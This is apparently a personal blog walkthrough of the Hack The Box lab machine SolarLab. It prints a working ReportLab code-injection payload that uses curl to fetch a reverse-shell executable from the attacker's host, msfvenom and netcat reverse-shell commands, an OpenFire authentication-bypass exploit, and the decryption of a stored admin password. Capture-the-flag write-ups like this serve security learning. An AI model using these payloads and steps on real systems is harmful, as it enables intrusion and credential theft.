Summary:

Happy new year! It’s been a while since I last posted, as life got in the way. I’m hoping to get back to posting more regularly this year. This machine is centred around abusing passwords. It starts with a public SMB share exposing a password-harvested excel file, one of which can be used to log in to the employee portal. The web app uses a vulnerable library to generate PDF files, which can also be abused to get a shell. Privilege escalation is all about enumerating OpenFire and once again abusing some stored credentials.


Enumeration:

Nmap:

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ sudo nmap --min-rate 1000 -p- 10.129.213.44

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-12 18:06 ACST
Nmap scan report for 10.129.213.44
Host is up (0.33s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
6791/tcp open  hnm

Nmap done: 1 IP address (1 host up) scanned in 133.54 seconds


┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ sudo nmap -A -p 80,135,139,445,6791 10.129.213.44

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-12 18:14 ACST
Nmap scan report for 10.129.213.44
Host is up (0.33s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-05-12T08:45:35
|_  start_date: N/A

TRACEROUTE (using port 139/tcp)
HOP RTT       ADDRESS
1   331.77 ms 10.10.14.1
2   331.85 ms 10.129.213.44

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.60 seconds


nmap discovered SMB, RPC and two web ports. By this look it doesn’t seem to be AD-related. The scan also found its domain name and a subdomain. I’ll add both to /etc/hosts:

# HTB machine SolarLab
10.129.213.44   solarlab.htb   report.solarlab.htb

TCP80 - HTTP:

The home page shows a “coming soon” countdown, as seen already in several other HTB boxes. The countdown resets when the page is reloaded.

“About us” lists three employees, which could be potential usernames. But aside from this, the site doesn’t have any other useful functions or information.

TCP445 - SMB:

With no leads from the website, I’ll check out the SMB share. Surprisingly, anonymous access is enabled, and the Documents share can be read.

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ crackmapexec smb 10.129.213.44 -u 'Anonymous' -p '' --shares

SMB         10.129.213.44   445    SOLARLAB         [*] Windows 10.0 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.129.213.44   445    SOLARLAB         [+] solarlab\Anonymous: 
SMB         10.129.213.44   445    SOLARLAB         [+] Enumerated shares
SMB         10.129.213.44   445    SOLARLAB         Share           Permissions     Remark
SMB         10.129.213.44   445    SOLARLAB         -----           -----------     ------
SMB         10.129.213.44   445    SOLARLAB         ADMIN$                          Remote Admin
SMB         10.129.213.44   445    SOLARLAB         C$                              Default share
SMB         10.129.213.44   445    SOLARLAB         Documents       READ            
SMB         10.129.213.44   445    SOLARLAB         IPC$            READ            Remote IPC


I’ll connect to the share with smbclient. The presence of My Music, My Pictures and My Videos suggests this is a user’s home directory. Additionally, there’s also a Word document, an Excel file, and a folder named concepts.

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ smbclient -U 'Anonymous' -N \\\\10.129.213.44\\Documents

Try "help" to get a list of possible commands.


smb: \> dir

 
  .                                  DR        0  Sat Apr 27 00:17:14 2024
  ..                                 DR        0  Sat Apr 27 00:17:14 2024
  concepts                            D        0  Sat Apr 27 00:11:57 2024
  desktop.ini                       AHS      278  Fri Nov 17 21:24:43 2023
  details-file.xlsx                   A    12793  Fri Nov 17 22:57:21 2023
  My Music                        DHSrn        0  Fri Nov 17 06:06:51 2023
  My Pictures                     DHSrn        0  Fri Nov 17 06:06:51 2023
  My Videos                       DHSrn        0  Fri Nov 17 06:06:51 2023
  old_leave_request_form.docx         A    37194  Fri Nov 17 21:05:57 2023

		7779839 blocks of size 4096. 1889403 blocks available

There’s two more word documents in the concepts folder. I’ll download all of them.

Kali
smb: \concepts\> dir

 
  .                                   D        0  Sat Apr 27 00:11:57 2024
  ..                                  D        0  Sat Apr 27 00:11:57 2024
  Training-Request-Form.docx          A   161337  Fri Nov 17 21:16:57 2023
  Travel-Request-Sample.docx          A    30953  Fri Nov 17 21:06:54 2023

		7779839 blocks of size 4096. 1889403 blocks available

The word documents are just empty templates that don’t have anything useful. However, the Excel file turns out to be a detailed list of user login information, containing plaintext credentials and even answers for security questions. This is quite possibly the worst approach for credential management.

I’ll note all of them down and check out the other web port.

TCP6791 - HTTP:

The site redirects to report.solarlab.htb, and shows a login page.

The obvious thing to do is to try every credentials found in the Excel file, however none of them work. It’s interesting to note that the web app tells you whether the account is valid or not. Most attempts resulted in “user not found”:

But AlexanderK and ClaudiaS resulted in a different message:

This hinted that the naming convention is the user’s first name followed by the initial of their last name. By this logic, blake.byte would become BlakeB. Using this new username format, I’ll retry Blake’s credentials, and logs in successfully.

ReportHub Employee Portal:

The application is an employee portal that allows users to submit 4 different types of requests. Each of them uses a similar template form with several basic fields, a rich text editor, and an option to upload signature images.

I completed the form with dummy data, uploaded a signature image found on Google, and clicked “Generate PDF”.

The resulting PDF is pretty standard, with nothing particularly noteworthy to highlight.

However, inspecting the raw response in Burp would reveal that the PDF is generated using ReportLab.

HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Sun, 12 May 2024 10:32:17 GMT
Content-Type: application/pdf
Content-Length: 208295
Connection: close
Cache-Control: no-cache
Content-Disposition: inline; filename=output.pdf
Vary: Cookie

%PDF-1.4
%“Œ‹ž ReportLab Generated PDF document http://www.reportlab.com
1 0 obj
<<
/F1 2 0 R /F2 5 0 R /F3 6 0 R
>>
..SNIP..

This library is also found to be vulnerable to a code injection bug.


Exploitation:

ReportLab Python Code Injection (CVE-2023-33733):

This GitHub repository has a detailed writeup on the vulnerability. In short, some sandbox restrictions can be bypassed, enabling an attacker to create a custom class and then reference some Python built-in functions for RCE. The repository also contains a POC in HTML, and I’ve adapted it slightly to send back an HTTP request when triggered:

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://10.10.14.74:8000/rce') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

I’ll submit a new leave request, pasting the payload in the “Justification” textbox. However, there’s a character limit implemented, and the second half of the payload got cut off.

I’ll submit it anyway, intercepting the request in Burp and pasting the full payload back in, but the application still returned with an error.

Looks like the character limit is rather robust, but it’s possible that this restriction is not enforced on other fields. In Burp, I’ll replace the phone number with the payload:

POST /leaveRequest HTTP/1.1
Host: report.solarlab.htb:6791
Content-Length: 550
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://report.solarlab.htb:6791
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBVYQPBOXtAh0Tv35
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://report.solarlab.htb:6791/leaveRequest
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=.eJwlzrkNwzAMAMBdVKew-JiUlzEoPnBaO66C7J4AuQnu3fY68zra9jrvfLT9GW1rET1ZSdZleIk6cnQwSAYiGuSp04xg1VqYXSnJUV08TREkgGJFTurTtNJRyFXdoRLInGcMzFpsdJzpFGgyHFjQphWOntR-kfvK87_p7fMF404wNA.ZkCtpw.r5m2PA7WqEbKaS1FgpV_x5asDSU
Connection: close

------WebKitFormBoundaryBVYQPBOXtAh0Tv35
Content-Disposition: form-data; name="time_interval"

2024-05-12 to 2024-05-14
------WebKitFormBoundaryBVYQPBOXtAh0Tv35
Content-Disposition: form-data; name="leave_request"

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://10.10.14.74:8000/rce') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>
------WebKitFormBoundaryBVYQPBOXtAh0Tv35
Content-Disposition: form-data; name="signature"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryBVYQPBOXtAh0Tv35
Content-Disposition: form-data; name="user_input"

<p>dummy justification</p>
------WebKitFormBoundaryBVYQPBOXtAh0Tv35--

While this resulted in the application returning a 500 error, a GET request was detected on my HTTP server, indicating that code execution was successful.

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ python -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.213.44 - - [12/May/2024 21:33:22] code 404, message File not found
10.129.213.44 - - [12/May/2024 21:33:22] "GET /rce HTTP/1.1" 404 -


To achieve full RCE, I’ll take a multi-step approach. First, I’ll generate a .exe payload with msfvenon:

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.74 LPORT=8001 -f exe -o shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe


Then I’ll send another payload that downloads the binary onto the current directory of the server:

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://10.10.14.74:8000/shell.exe -O shell.exe') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

The final payload was to trigger the binary:

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('.\\shell.exe') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

And a shell session was captured on my netcat listener. Foothold gained as blake.

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.74] from (UNKNOWN) [10.129.213.44] 62492
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.


C:\Users\blake\Documents\app> whoami

solarlab\blake

User Flag:

SOLARLAB
C:\Users\blake\Destkop> type user.txt

1c0cae89************************


Escalation from blake:

Local Users:

SOLARLAB
C:\Users\blake\Destkop> net user

User accounts for \\SOLARLAB

-------------------------------------------------------------------------------
Administrator            blake                    DefaultAccount           
Guest                    openfire                 WDAGUtilityAccount       
The command completed successfully.

While looking around, I noticed there’s a user called openfire. Ports 9090 and 9091 are also open.

SOLARLAB
C:\Users\blake\Destkop> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4768
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       900
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       1088
  ..SNIP..
  TCP    127.0.0.1:7070         0.0.0.0:0              LISTENING       3128
  TCP    127.0.0.1:7443         0.0.0.0:0              LISTENING       3128
  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3128
  TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       3128
  TCP    127.0.0.1:57693        127.0.0.1:57694        ESTABLISHED     3128
  TCP    127.0.0.1:57694        127.0.0.1:57693        ESTABLISHED     3128
  TCP    127.0.0.1:57695        127.0.0.1:57696        ESTABLISHED     3128
  TCP    127.0.0.1:57696        127.0.0.1:57695        ESTABLISHED     3128
  TCP    127.0.0.1:57697        127.0.0.1:57698        ESTABLISHED     3128
  ..SNIP..

Given these are the default ports for OpenFire, it’s likely that the server has this installed. OpenFire is an open-source real-time collaboration (RTC) server commonly used for internal communication within organizations. It includes some monitoring and administrative features, as such the openfire user often comes with elevated privileges.

Local Port 9090 - OpenFire:

The web-based admin panel is typically hosted on the two ports mentioned above. I’ll use Chisel to set up a tunnel between the server and my host.

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ ./chisel server -p 5000 --reverse

2024/05/12 22:35:53 server: Reverse tunnelling enabled
2024/05/12 22:35:53 server: Fingerprint 4JVBoMAvON/6byN2YSV1RwTOVaN2YRV5Zssn7QVf1xI=
2024/05/12 22:35:53 server: Listening on http://0.0.0.0:5000
2024/05/12 22:44:58 server: session#1: tun: proxy#R:9090=>9090: Listening


SOLARLAB
C:\Users\blake\Destkop> .\chisel.exe client 10.10.14.74:5000 R:9090:127.0.0.1:9090 -ano

2024/05/12 16:14:56 client: Connecting to ws://10.10.14.74:5000
2024/05/12 16:14:59 client: Connected (Latency 330.7688ms)

Now the OpenFire console can be accessed at localhost:9090.

Its version is shown in the login page. A quick Googling finds it’s vulnerable to an RCE exploit.

OpenFire Authentication Bypass RCE (CVE-2023-32315):

CVE-2023-32315 is a path traversal vulnerability that permitted any unauthenticated users to access restricted pages/functionalities and create new admin users. It’s been wildly exploited with multiple public PoC, including this one that I used.

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ python CVE-2023-32315.py -t http://localhost:9090

 
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!

[..] Checking target: http://localhost:9090
Successfully retrieved JSESSIONID: node01lmx9z5sfykao97k77lzdqot2.node0 + csrf: W7GRdzrC55DBLRu
User added successfully: url: http://localhost:9090 username: sml1ml password: 7vg3yi


The exploit code created a new admin user, which I can use to log in to the panel.

The admin user has the ability to upload plugins, which can be abused to get code execution. This attack vector was also present on the Jab machine (writeup coming soon). I’ll upload the provided .jar plugin file provided in the repository.

The webshell can then be accessed under “Server” > “Server Settings” > “Management Tools”. The password is 123, as described in the PoC’s GitHub page.

It listed some server information, including the OS version and the current directory.

In the dropdown menu, there’s an option “system command” that allows running OS commands.

I’ll start another netcat listener, and run the same .exe payload uploaded when exploiting the PDF library earlier.

On my listener, another shell session was sent back, this time as openfire.

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.74] from (UNKNOWN) [10.129.213.44] 62565
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.


C:\Program Files\Openfire\bin> whoami

solarlab\openfire


Escalation from openfire:

Program Files:

The shell landed me in OpenFire’s program files directory. I noticed there’s an interesting folder called embedded-db.

SOLARLAB
C:\Program Files\Openfire> dir

&nbsp;
 Volume in drive C has no label.
 Volume Serial Number is 385E-AC57

 Directory of C:\Program Files\Openfire

11/17/2023  03:22 PM    <DIR>          .
11/17/2023  03:22 PM    <DIR>          ..
11/17/2023  03:11 PM    <DIR>          .install4j
11/17/2023  03:11 PM    <DIR>          bin
11/09/2022  06:59 PM           375,002 changelog.html
05/12/2024  11:33 AM    <DIR>          conf
11/17/2023  03:11 PM    <DIR>          documentation
05/12/2024  11:33 AM    <DIR>          embedded-db
11/17/2023  03:11 PM    <DIR>          lib
02/16/2022  06:55 PM            10,874 LICENSE.html
11/17/2023  03:24 PM    <DIR>          logs
05/12/2024  04:27 PM    <DIR>          plugins
02/16/2022  06:55 PM             5,403 README.html
11/17/2023  03:11 PM    <DIR>          resources
11/09/2022  07:00 PM           798,720 uninstall.exe
               4 File(s)      1,189,999 bytes
              11 Dir(s)   7,730,581,504 bytes free

Inside, there’s some log files and openfire.script.

SOLARLAB
C:\Program Files\Openfire\embedded-db> dir

&nbsp;
 Volume in drive C has no label.
 Volume Serial Number is 385E-AC57

 Directory of C:\Program Files\Openfire\embedded-db

05/12/2024  11:33 AM    <DIR>          .
05/12/2024  11:33 AM    <DIR>          ..
05/12/2024  11:33 AM                 0 openfire.lck
05/12/2024  04:27 PM             1,743 openfire.log
05/12/2024  11:33 AM               106 openfire.properties
05/07/2024  09:53 PM            16,161 openfire.script
05/12/2024  11:33 AM    <DIR>          openfire.tmp
               4 File(s)         18,010 bytes
               3 Dir(s)   7,730,581,504 bytes free

openfire.script:
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
..SNIP..
SET FILES NIO SIZE 256
SET FILES LOG TRUE
SET FILES LOG SIZE 20
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
ALTER USER SA SET LOCAL TRUE
CREATE SCHEMA PUBLIC AUTHORIZATION DBA
SET SCHEMA PUBLIC
CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))
CREATE INDEX OFUSER_CDATE_IDX ON PUBLIC.OFUSER(CREATIONDATE)
CREATE MEMORY TABLE PUBLIC.OFUSERPROP(USERNAME VARCHAR(64) NOT NULL,NAME VARCHAR(100) NOT NULL,PROPVALUE VARCHAR(4000) NOT NULL,CONSTRAINT OFUSERPROP_PK PRIMARY KEY(USERNAME,NAME))
..SNIP..
ALTER SEQUENCE SYSTEM_LOBS.LOB_ID RESTART WITH 1
SET DATABASE DEFAULT INITIAL SCHEMA PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.SQL_IDENTIFIER TO PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.YES_OR_NO TO PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.TIME_STAMP TO PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CARDINAL_NUMBER TO PUBLIC
GRANT USAGE ON DOMAIN INFORMATION_SCHEMA.CHARACTER_DATA TO PUBLIC
GRANT DBA TO SA
SET SCHEMA SYSTEM_LOBS
INSERT INTO BLOCKS VALUES(0,2147483647,0)
SET SCHEMA PUBLIC
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
INSERT INTO OFOFFLINE VALUES('admin',1,'001700223778861',127,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Openfire 4.7.5</body></message>')
..SNIP..


Seems like this is the SQL script that’s used for initializing the database for OpenFire. It starts with setting some constants and creating the tables, including OFUSERS, which stores user credentials. The most interesting column is undoubtedly PLAINPASSWORD (column 6), which we could directly reuse for lateral movement/privilege escalation if found. It also contains the salt and several keys, which could still be useful if only the encrypted password is available.

CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))


Later in the script it inserts the admin user credentials into OFUSERS. Unfortunately the value of PLAINPASSWORD was set to NULL, but we still get the encrypted version and the salt.

INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')


Also interestingly, it sets the passwordKey property several lines down in the script. I’ll note down the value.

INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)


With all the information gathered, what’s left to do is to decrypt the admin password.

Hash Decription:

Several OpenFire decrypt tools could be found in public, including this one in Java. All it required was the encrypted password and the password key:

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ javac OpenFireDecryptPass.java

┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ javac OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn

ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)


I’m guessing this is also the server’s admin password. I’ll use RunasCs to send back a shell.

SOLARLAB
C:\Users\openfire\Desktop> .\RunasCs.exe administrator ThisPasswordShouldDo!@ "C:\users\blake\desktop\shell.exe" -t 0

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-26dbd$\Default
[+] Async process 'C:\users\blake\desktop\shell.exe' with pid 4144 created in background.

On my listener, an admin shell was captured. Box done!

Kali
┌──(ch3ng㉿localhost)-[~/machines/solarlab]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [10.10.14.74] from (UNKNOWN) [10.129.213.44] 62583
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.


C:\Windows\system32> whoami

solarlab\administrator

Root Flag:

SOLARLAB
C:\Users\Administrator\Destkop> type root.txt

b9810d64************************